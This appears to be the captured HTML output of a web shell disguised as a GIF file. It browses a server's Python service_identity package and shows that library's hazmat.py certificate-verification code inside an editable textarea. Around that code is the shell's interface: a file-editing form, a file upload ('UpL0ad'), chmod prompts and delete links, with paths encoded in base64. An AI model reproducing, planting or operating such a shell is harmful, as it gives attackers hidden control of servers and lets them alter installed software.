GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>hazmat.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk%3D&f=aGF6bWF0LnB5"><input name="f" value="hazmat.py"><textarea name="t">&quot;&quot;&quot;
Common verification code.
&quot;&quot;&quot;

from __future__ import annotations

import ipaddress
import re

from typing import Protocol, Sequence, Union, runtime_checkable

import attr

from .exceptions import (
    CertificateError,
    DNSMismatch,
    IPAddressMismatch,
    Mismatch,
    SRVMismatch,
    URIMismatch,
    VerificationError,
)


try:
    import idna
except ImportError:
    idna = None  # type: ignore[assignment]


@attr.s(slots=True)
class ServiceMatch:
    &quot;&quot;&quot;
    A match of a service id and a certificate pattern.
    &quot;&quot;&quot;

    service_id: ServiceID = attr.ib()
    cert_pattern: CertificatePattern = attr.ib()


def verify_service_identity(
    cert_patterns: Sequence[CertificatePattern],
    obligatory_ids: Sequence[ServiceID],
    optional_ids: Sequence[ServiceID],
) -&gt; list[ServiceMatch]:
    &quot;&quot;&quot;
    Verify whether *cert_patterns* are valid for *obligatory_ids* and
    *optional_ids*.

    *obligatory_ids* must be both present and match.  *optional_ids* must match
    if a pattern of the respective type is present.
    &quot;&quot;&quot;
    if not cert_patterns:
        raise CertificateError(
            &quot;Certificate does not contain any `subjectAltName`s.&quot;
        )

    errors = []
    matches = _find_matches(cert_patterns, obligatory_ids) + _find_matches(
        cert_patterns, optional_ids
    )

    matched_ids = [match.service_id for match in matches]
    for i in obligatory_ids:
        if i not in matched_ids:
            errors.append(i.error_on_mismatch(mismatched_id=i))

    for i in optional_ids:
        # If an optional ID is not matched by a certificate pattern *but* there
        # is a pattern of the same type , it is an error and the verification
        # fails.  Example: the user passes a SRV-ID for &quot;_mail.domain.com&quot; but
        # the certificate contains an SRV-Pattern for &quot;_xmpp.domain.com&quot;.
        if i not in matched_ids and _contains_instance_of(
            cert_patterns, i.pattern_class
        ):
            errors.append(i.error_on_mismatch(mismatched_id=i))

    if errors:
        raise VerificationError(errors=errors)

    return matches


def _find_matches(
    cert_patterns: Sequence[CertificatePattern],
    service_ids: Sequence[ServiceID],
) -&gt; list[ServiceMatch]:
    &quot;&quot;&quot;
    Search for matching certificate patterns and service_ids.

    Args:
        service_ids: List of service IDs like DNS_ID.
    &quot;&quot;&quot;
    matches = []
    for sid in service_ids:
        for cid in cert_patterns:
            if sid.verify(cid):
                matches.append(ServiceMatch(cert_pattern=cid, service_id=sid))
    return matches


def _contains_instance_of(seq: Sequence[object], cl: type) -&gt; bool:
    return any(isinstance(e, cl) for e in seq)


def _is_ip_address(pattern: str | bytes) -&gt; bool:
    &quot;&quot;&quot;
    Check whether *pattern* could be/match an IP address.

    Args:
        pattern: A pattern for a host name.

    Returns:
        `True` if *pattern* could be an IP address, else `False`.
    &quot;&quot;&quot;
    if isinstance(pattern, bytes):
        try:
            pattern = pattern.decode(&quot;ascii&quot;)
        except UnicodeError:
            return False

    try:
        int(pattern)
        return True
    except ValueError:
        pass

    try:
        ipaddress.ip_address(pattern.replace(&quot;*&quot;, &quot;1&quot;))
    except ValueError:
        return False

    return True


@attr.s(slots=True)
class DNSPattern:
    &quot;&quot;&quot;
    A DNS pattern as extracted from certificates.
    &quot;&quot;&quot;

    #: The pattern.
    pattern: bytes = attr.ib()

    _RE_LEGAL_CHARS = re.compile(rb&quot;^[a-z0-9\-_.]+$&quot;)

    @classmethod
    def from_bytes(cls, pattern: bytes) -&gt; DNSPattern:
        if not isinstance(pattern, bytes):
            raise TypeError(&quot;The DNS pattern must be a bytes string.&quot;)

        pattern = pattern.strip()

        if pattern == b&quot;&quot; or _is_ip_address(pattern) or b&quot;\0&quot; in pattern:
            raise CertificateError(f&quot;Invalid DNS pattern {pattern!r}.&quot;)

        pattern = pattern.translate(_TRANS_TO_LOWER)
        if b&quot;*&quot; in pattern:
            _validate_pattern(pattern)

        return cls(pattern=pattern)


@attr.s(slots=True)
class IPAddressPattern:
    &quot;&quot;&quot;
    An IP address pattern as extracted from certificates.
    &quot;&quot;&quot;

    #: The pattern.
    pattern: ipaddress.IPv4Address | ipaddress.IPv6Address = attr.ib()

    @classmethod
    def from_bytes(cls, bs: bytes) -&gt; IPAddressPattern:
        try:
            return cls(pattern=ipaddress.ip_address(bs))
        except ValueError:
            raise CertificateError(
                f&quot;Invalid IP address pattern {bs!r}.&quot;
            ) from None


@attr.s(slots=True)
class URIPattern:
    &quot;&quot;&quot;
    An URI pattern as extracted from certificates.
    &quot;&quot;&quot;

    #: The pattern for the protocol part.
    protocol_pattern: bytes = attr.ib()
    #: The pattern for the DNS part.
    dns_pattern: DNSPattern = attr.ib()

    @classmethod
    def from_bytes(cls, pattern: bytes) -&gt; URIPattern:
        if not isinstance(pattern, bytes):
            raise TypeError(&quot;The URI pattern must be a bytes string.&quot;)

        pattern = pattern.strip().translate(_TRANS_TO_LOWER)

        if b&quot;:&quot; not in pattern or b&quot;*&quot; in pattern or _is_ip_address(pattern):
            raise CertificateError(f&quot;Invalid URI pattern {pattern!r}.&quot;)

        protocol_pattern, hostname = pattern.split(b&quot;:&quot;)

        return cls(
            protocol_pattern=protocol_pattern,
            dns_pattern=DNSPattern.from_bytes(hostname),
        )


@attr.s(slots=True)
class SRVPattern:
    &quot;&quot;&quot;
    An SRV pattern as extracted from certificates.
    &quot;&quot;&quot;

    #: The pattern for the name part.
    name_pattern: bytes = attr.ib()
    #: The pattern for the DNS part.
    dns_pattern: DNSPattern = attr.ib()

    @classmethod
    def from_bytes(cls, pattern: bytes) -&gt; SRVPattern:
        if not isinstance(pattern, bytes):
            raise TypeError(&quot;The SRV pattern must be a bytes string.&quot;)

        pattern = pattern.strip().translate(_TRANS_TO_LOWER)

        if (
            pattern[0] != b&quot;_&quot;[0]
            or b&quot;.&quot; not in pattern
            or b&quot;*&quot; in pattern
            or _is_ip_address(pattern)
        ):
            raise CertificateError(f&quot;Invalid SRV pattern {pattern!r}.&quot;)

        name, hostname = pattern.split(b&quot;.&quot;, 1)
        return cls(
            name_pattern=name[1:], dns_pattern=DNSPattern.from_bytes(hostname)
        )


CertificatePattern = Union[
    SRVPattern, URIPattern, DNSPattern, IPAddressPattern
]
&quot;&quot;&quot;
A :class:`Union` of all possible patterns that can be extracted from a
certificate.
&quot;&quot;&quot;


@runtime_checkable
class ServiceID(Protocol):
    @property
    def pattern_class(self) -&gt; type[CertificatePattern]:
        ...

    @property
    def error_on_mismatch(self) -&gt; type[Mismatch]:
        ...

    def verify(self, pattern: CertificatePattern) -&gt; bool:
        ...


@attr.s(init=False, slots=True)
class DNS_ID:
    &quot;&quot;&quot;
    A DNS service ID, aka hostname.
    &quot;&quot;&quot;

    hostname: bytes = attr.ib()

    # characters that are legal in a normalized hostname
    _RE_LEGAL_CHARS = re.compile(rb&quot;^[a-z0-9\-_.]+$&quot;)
    pattern_class = DNSPattern
    error_on_mismatch = DNSMismatch

    def __init__(self, hostname: str):
        if not isinstance(hostname, str):
            raise TypeError(&quot;DNS-ID must be a text string.&quot;)

        hostname = hostname.strip()
        if not hostname or _is_ip_address(hostname):
            raise ValueError(&quot;Invalid DNS-ID.&quot;)

        if any(ord(c) &gt; 127 for c in hostname):
            if idna:
                ascii_id = idna.encode(hostname)
            else:
                raise ImportError(
                    &quot;idna library is required for non-ASCII IDs.&quot;
                )
        else:
            ascii_id = hostname.encode(&quot;ascii&quot;)

        self.hostname = ascii_id.translate(_TRANS_TO_LOWER)
        if self._RE_LEGAL_CHARS.match(self.hostname) is None:
            raise ValueError(&quot;Invalid DNS-ID.&quot;)

    def verify(self, pattern: CertificatePattern) -&gt; bool:
        &quot;&quot;&quot;
        https://tools.ietf.org/search/rfc6125#section-6.4
        &quot;&quot;&quot;
        if isinstance(pattern, self.pattern_class):
            return _hostname_matches(pattern.pattern, self.hostname)

        return False


@attr.s(slots=True)
class IPAddress_ID:
    &quot;&quot;&quot;
    An IP address service ID.
    &quot;&quot;&quot;

    ip: ipaddress.IPv4Address | ipaddress.IPv6Address = attr.ib(
        converter=ipaddress.ip_address
    )

    pattern_class = IPAddressPattern
    error_on_mismatch = IPAddressMismatch

    def verify(self, pattern: CertificatePattern) -&gt; bool:
        &quot;&quot;&quot;
        https://tools.ietf.org/search/rfc2818#section-3.1
        &quot;&quot;&quot;
        if isinstance(pattern, self.pattern_class):
            return self.ip == pattern.pattern

        return False


@attr.s(init=False, slots=True)
class URI_ID:
    &quot;&quot;&quot;
    An URI service ID.
    &quot;&quot;&quot;

    protocol: bytes = attr.ib()
    dns_id: DNS_ID = attr.ib()

    pattern_class = URIPattern
    error_on_mismatch = URIMismatch

    def __init__(self, uri: str):
        if not isinstance(uri, str):
            raise TypeError(&quot;URI-ID must be a text string.&quot;)

        uri = uri.strip()
        if &quot;:&quot; not in uri or _is_ip_address(uri):
            raise ValueError(&quot;Invalid URI-ID.&quot;)

        prot, hostname = uri.split(&quot;:&quot;)

        self.protocol = prot.encode(&quot;ascii&quot;).translate(_TRANS_TO_LOWER)
        self.dns_id = DNS_ID(hostname.strip(&quot;/&quot;))

    def verify(self, pattern: CertificatePattern) -&gt; bool:
        &quot;&quot;&quot;
        https://tools.ietf.org/search/rfc6125#section-6.5.2
        &quot;&quot;&quot;
        if isinstance(pattern, self.pattern_class):
            return (
                pattern.protocol_pattern == self.protocol
                and self.dns_id.verify(pattern.dns_pattern)
            )

        return False


@attr.s(init=False, slots=True)
class SRV_ID:
    &quot;&quot;&quot;
    An SRV service ID.
    &quot;&quot;&quot;

    name: bytes = attr.ib()
    dns_id: DNS_ID = attr.ib()

    pattern_class = SRVPattern
    error_on_mismatch = SRVMismatch

    def __init__(self, srv: str):
        if not isinstance(srv, str):
            raise TypeError(&quot;SRV-ID must be a text string.&quot;)

        srv = srv.strip()
        if &quot;.&quot; not in srv or _is_ip_address(srv) or srv[0] != &quot;_&quot;:
            raise ValueError(&quot;Invalid SRV-ID.&quot;)

        name, hostname = srv.split(&quot;.&quot;, 1)

        self.name = name[1:].encode(&quot;ascii&quot;).translate(_TRANS_TO_LOWER)
        self.dns_id = DNS_ID(hostname)

    def verify(self, pattern: CertificatePattern) -&gt; bool:
        &quot;&quot;&quot;
        https://tools.ietf.org/search/rfc6125#section-6.5.1
        &quot;&quot;&quot;
        if isinstance(pattern, self.pattern_class):
            return self.name == pattern.name_pattern and self.dns_id.verify(
                pattern.dns_pattern
            )

        return False


def _hostname_matches(cert_pattern: bytes, actual_hostname: bytes) -&gt; bool:
    &quot;&quot;&quot;
    :return: `True` if *cert_pattern* matches *actual_hostname*, else `False`.
    &quot;&quot;&quot;
    if b&quot;*&quot; in cert_pattern:
        cert_head, cert_tail = cert_pattern.split(b&quot;.&quot;, 1)
        actual_head, actual_tail = actual_hostname.split(b&quot;.&quot;, 1)
        if cert_tail != actual_tail:
            return False
        # No patterns for IDNA
        if actual_head.startswith(b&quot;xn--&quot;):
            return False

        return cert_head == b&quot;*&quot; or cert_head == actual_head

    return cert_pattern == actual_hostname


def _validate_pattern(cert_pattern: bytes) -&gt; None:
    &quot;&quot;&quot;
    Check whether the usage of wildcards within *cert_pattern* conforms with
    our expectations.
    &quot;&quot;&quot;
    cnt = cert_pattern.count(b&quot;*&quot;)
    if cnt &gt; 1:
        raise CertificateError(
            f&quot;Certificate's DNS-ID {cert_pattern!r} contains too many wildcards.&quot;
        )
    parts = cert_pattern.split(b&quot;.&quot;)
    if len(parts) &lt; 3:
        raise CertificateError(
            f&quot;Certificate's DNS-ID {cert_pattern!r} has too few host components for &quot;
            &quot;wildcard usage.&quot;
        )
    # We assume there will always be only one wildcard allowed.
    if b&quot;*&quot; not in parts[0]:
        raise CertificateError(
            &quot;Certificate's DNS-ID {!r} has a wildcard outside the left-most &quot;
            &quot;part.&quot;.format(cert_pattern)
        )
    if any(not len(p) for p in parts):
        raise CertificateError(
            f&quot;Certificate's DNS-ID {cert_pattern!r} contains empty parts.&quot;
        )


# Ensure no locale magic interferes.
_TRANS_TO_LOWER = bytes.maketrans(
    b&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;, b&quot;abcdefghijklmnopqrstuvwxyz&quot;
)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/service_identity<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2Vz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>1388</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHkvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&x=Y3J5cHRvZ3JhcGh5LnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=Y3J5cHRvZ3JhcGh5LnB5"/>cryptography.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=Y3J5cHRvZ3JhcGh5LnB5&c=`+btoa(c):0" value="0644"></td><td>5247</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&x=ZXhjZXB0aW9ucy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=ZXhjZXB0aW9ucy5weQ=="/>exceptions.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=ZXhjZXB0aW9ucy5weQ==&c=`+btoa(c):0" value="0644"></td><td>1515</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&x=aGF6bWF0LnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=aGF6bWF0LnB5"/>hazmat.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=aGF6bWF0LnB5&c=`+btoa(c):0" value="0644"></td><td>12408</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&x=cHkudHlwZWQ=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=cHkudHlwZWQ="/>py.typed</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=cHkudHlwZWQ=&c=`+btoa(c):0" value="0644"></td><td>0</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&x=cHlvcGVuc3NsLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=cHlvcGVuc3NsLnB5"/>pyopenssl.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NlcnZpY2VfaWRlbnRpdHk=&f=cHlvcGVuc3NsLnB5&c=`+btoa(c):0" value="0644"></td><td>5581</td></tr></table>